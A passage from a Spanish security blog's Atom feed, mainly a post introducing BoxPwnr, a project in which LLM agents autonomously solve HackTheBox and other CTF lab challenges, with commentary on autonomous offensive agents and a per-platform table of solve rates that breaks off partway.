href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhItPQFOi4X15xK8QYJ9zUAKvo51A1AJMefWpqaatIsBIqLlFPx2uNN4U-AiMiqBcKYA6_qFgJKl_NsWRdtSP58MENiikg4opl-nXOqWvnd4HgEquxamv7KPlKWQNkCK7AUaSQlLmD6T5RCPh-mgrB5zNr3e6f-L6n_-ABeM8XHfSSBpuyn2AgC21LImeUW/s1456/brain_artificial_1.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;816&quot; data-original-width=&quot;1456&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhItPQFOi4X15xK8QYJ9zUAKvo51A1AJMefWpqaatIsBIqLlFPx2uNN4U-AiMiqBcKYA6_qFgJKl_NsWRdtSP58MENiikg4opl-nXOqWvnd4HgEquxamv7KPlKWQNkCK7AUaSQlLmD6T5RCPh-mgrB5zNr3e6f-L6n_-ABeM8XHfSSBpuyn2AgC21LImeUW/s16000/brain_artificial_1.jpeg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Si esta línea de investigación prospera, es posible que en el futuro dejemos de hablar de software y hardware como entidades separadas. En su lugar, hablaremos de sistemas que han aprendido a ser lo que son. Y entonces, la idea de “usar un ordenador” podría parecer tan limitada como hoy nos parece programar en código máquina.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2857405468319166878/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/el-inicio-de-los-ordenadores-neuronales.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2857405468319166878'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2857405468319166878'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/el-inicio-de-los-ordenadores-neuronales.html' title='El inicio de los ordenadores neuronales'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh14CThJALYiM4ms_1A41EFeF6nXBYQEZbOsW0Vks1VhW8M98I2fzwnnrLxH72hFL0UPbv3hFopOEDpeFShdTYHKM3Ew0jrz-UcsZhuzy1hZ64vjRCRflivLIKXK3-efPZHWfI7_p725sHRvc-zRE3geEi-uHv2D16Q9pJ03cqmme-7fFnPRVjHeRQUIonr/s72-w200-h125-c/cerebro1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-3622923145489463500</id><published>2026-04-11T13:59:00.009+02:00</published><updated>2026-04-13T00:22:27.478+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ctf"/><category scheme="http://www.blogger.com/atom/ns#" term="hackthebox"/><category scheme="http://www.blogger.com/atom/ns#" term="IA"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><title type='text'>BoxPwnr: resuelve máquinas de Hackthebox (y otros) con IA</title><content type='html'>&lt;p class=&quot;isSelectedEnd&quot;&gt;Durante los últimos años nos hemos acostumbrado a una narrativa bastante cómoda: la inteligencia artificial como asistente. Un copiloto dócil, más o menos brillante, que te sugiere comandos, te completa payloads, te escribe un exploit a medias y, en el peor de los casos, te obliga a corregirle como si fuera un junior con prisa. Nada especialmente disruptivo si llevas tiempo en esto. Más productividad, sí. Más velocidad, también. Pero siempre con un humano al volante, tomando decisiones, descartando caminos absurdos y, sobre todo, asumiendo que el criterio sigue siendo un recurso escaso y humano. Eso ha empezado a cambiar. Y no de forma gradual, precisamente.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1hgs_68R3AH2eQT8VdYVDBxELInNCIkYhLF07KtD8HUpUauA0F3XNkP7xqlvVQG7n97jrPDPZIlZ6XW1RRWOLWE4t-hcSTwKDa1njd11D1qV6t96jBKI9KfFmO_A_zQXLqCo5corEcFjRkUc7-2DDbLJs4CDBA0mNKAvpBQ6v5SFvVkBTRr41LPXbKfid/s247/sarah.jpeg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;204&quot; data-original-width=&quot;247&quot; height=&quot;204&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1hgs_68R3AH2eQT8VdYVDBxELInNCIkYhLF07KtD8HUpUauA0F3XNkP7xqlvVQG7n97jrPDPZIlZ6XW1RRWOLWE4t-hcSTwKDa1njd11D1qV6t96jBKI9KfFmO_A_zQXLqCo5corEcFjRkUc7-2DDbLJs4CDBA0mNKAvpBQ6v5SFvVkBTRr41LPXbKfid/s1600/sarah.jpeg&quot; width=&quot;247&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo que estamos viendo en los últimos meses no es solo una mejora en los modelos, sino un cambio de paradigma bastante más incómodo: el paso de copilotos a agentes cada vez más autónomos. Y no agentes en el sentido marketiniano de “hacen varias cosas encadenadas”, sino agentes que reciben un objetivo, tienen acceso a herramientas reales y se les permite iterar sin supervisión constante. Es decir, sistemas que no solo responden, sino que actúan, observan resultados, recalculan y vuelven a actuar. Si esto lo trasladas al mundo ofensivo, la conclusión es bastante obvia: ya no estás automatizando tareas, estás delegando comportamiento.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;¿Y hasta dónde pueden llegar estos agentes a la hora de &quot;hackear&quot; ellos solos distintos entornos? Pues con proyectos como&amp;nbsp;&lt;a href=&quot;https://github.com/0ca/BoxPwnr?utm_source=chatgpt.com&quot;&gt;BoxPwnr&lt;/a&gt;, creado por Francisco Oca, empezamos a ver resultados cada vez más concluyentes. &lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Empezó como un experimento divertido para ver hasta dónde pueden llegar los LLMs resolviendo máquinas HackTheBox por sí solos. Y a día de hoy se ha extendido también a otras &lt;a href=&quot;https://github.com/0ca/BoxPwnr/blob/main/src/boxpwnr/platforms/README.md&quot; target=&quot;_blank&quot;&gt;plataformas&lt;/a&gt;:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;span face=&quot;&amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;&quot; style=&quot;background-color: white; color: #1f2328; font-size: 16px; text-align: -webkit-center;&quot;&gt;🔬&amp;nbsp;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;&quot; style=&quot;background-color: white; box-sizing: border-box; color: #1f2328; font-size: 16px; font-weight: 600; text-align: -webkit-center;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;BoxPwnr Traces &amp;amp; Benchmarks&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;markdown-accessiblity-table data-catalyst=&quot;&quot; style=&quot;background-color: white; box-sizing: border-box; color: #1f2328; display: block; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px;&quot;&gt;&lt;/markdown-accessiblity-table&gt;&lt;/p&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;background-color: white; box-sizing: border-box; color: #1f2328; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; position: relative;&quot;&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;table style=&quot;border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; display: block; font-variant: tabular-nums; margin-bottom: 16px; margin-top: 0px; max-width: 100%; overflow: auto; width: max-content;&quot;&gt;&lt;thead style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;th style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; font-weight: 600; padding: 6px 13px;&quot;&gt;Platform&lt;/th&gt;&lt;th align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; font-weight: 600; padding: 6px 13px;&quot;&gt;Solved&lt;/th&gt;&lt;th align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; font-weight: 600; padding: 6px 13px;&quot;&gt;Completion&lt;/th&gt;&lt;th align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; font-weight: 600; padding: 6px 13px;&quot;&gt;Traces&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=htb-starting-point&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;HTB Starting Point&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;25/25&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/328966ffb478801ae1eaef3bc1c8dd429c4e1a2bf387ee16fb82a6bd398233e8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f3130302e302532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;100.0%&quot; data-canonical-src=&quot;https://img.shields.io/badge/100.0%25-brightgreen?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/328966ffb478801ae1eaef3bc1c8dd429c4e1a2bf387ee16fb82a6bd398233e8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f3130302e302532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;770&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=htb-labs&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;HTB Labs&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;268/525&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/608fe0eb48a3ef7f4a7098d01a3bfcdd558584ed10a211522286a1740acec5f8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f35312e302532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;51.0%&quot; data-canonical-src=&quot;https://img.shields.io/badge/51.0%25-yellow?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/608fe0eb48a3ef7f4a7098d01a3bfcdd558584ed10a211522286a1740acec5f8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f35312e302532352d79656c6c6f773f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;946&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=htb-challenges&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;HTB Challenges&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;324/818&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/dc88ebb21d299c9b7bbc9a9c27c17f7c9e747ecd7336e164d50c81b0168ec624/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f33392e362532352d6f72616e67653f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;39.6%&quot; data-canonical-src=&quot;https://img.shields.io/badge/39.6%25-orange?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/dc88ebb21d299c9b7bbc9a9c27c17f7c9e747ecd7336e164d50c81b0168ec624/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f33392e362532352d6f72616e67653f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;735&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=portswigger&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;PortSwigger Labs&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;163/270&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/d32e1c09f728b44745d551a62da5a7cdf86db8017c93b906acba1aea736cccbb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f36302e342532352d677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;60.4%&quot; data-canonical-src=&quot;https://img.shields.io/badge/60.4%25-green?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/d32e1c09f728b44745d551a62da5a7cdf86db8017c93b906acba1aea736cccbb/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f36302e342532352d677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;377&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=xbow&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;XBOW Validation Benchmarks&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;101/104&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/d4001094ce1bd824c69e46c13e6b6076a02581b865bd03f086d06e2aff3d2b8b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f39372e312532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;97.1%&quot; data-canonical-src=&quot;https://img.shields.io/badge/97.1%25-brightgreen?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/d4001094ce1bd824c69e46c13e6b6076a02581b865bd03f086d06e2aff3d2b8b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f39372e312532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;526&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=cybench&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;Cybench CTF Challenges&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;40/40&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/328966ffb478801ae1eaef3bc1c8dd429c4e1a2bf387ee16fb82a6bd398233e8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f3130302e302532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;100.0%&quot; data-canonical-src=&quot;https://img.shields.io/badge/100.0%25-brightgreen?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/328966ffb478801ae1eaef3bc1c8dd429c4e1a2bf387ee16fb82a6bd398233e8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f3130302e302532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;1222&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: white; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=picoctf&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;picoCTF Challenges&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;430/509&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/b41e9414e21e294c3fc8ea3ef5fefbd1b5b6725280d1fdf213b6e7fd33d664e7/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f38342e352532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;84.5%&quot; data-canonical-src=&quot;https://img.shields.io/badge/84.5%25-brightgreen?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/b41e9414e21e294c3fc8ea3ef5fefbd1b5b6725280d1fdf213b6e7fd33d664e7/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f38342e352532352d627269676874677265656e3f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;1198&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;background-color: #f6f8fa; border-top: 1px solid rgba(209, 217, 224, 0.7); box-sizing: border-box;&quot;&gt;&lt;td style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://0ca.github.io/BoxPwnr-Traces/stats/platform.html?platform=tryhackme&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot;&gt;TryHackMe Rooms&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;147/477&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 1px; box-sizing: border-box; padding: 6px 13px;&quot;&gt;&lt;a href=&quot;https://camo.githubusercontent.com/9ca4780c29ccc12f2b89728cbd8320a2f842904f4f0c558ee1b7d13c541eac91/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f33312e302532352d6f72616e67653f7374796c653d666c61742d737175617265&quot; rel=&quot;noopener noreferrer nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; margin-bottom: 0px; text-decoration: underline; text-underline-offset: 0.2rem;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;31.0%&quot; data-canonical-src=&quot;https://img.shields.io/badge/31.0%25-orange?style=flat-square&quot; src=&quot;https://camo.githubusercontent.com/9ca4780c29ccc12f2b89728cbd8320a2f842904f4f0c558ee1b7d13c541eac91/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f33312e302532352d6f72616e67653f7374796c653d666c61742d737175617265&quot; style=&quot;background-color: rgba(0, 0, 0, 0); border-style: none; box-sizing: content-box; max-width: 100%;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td align=&quot;right&quot; style=&quot;border-color: rgb(209, 217, 224); border-image: none 100% / 1 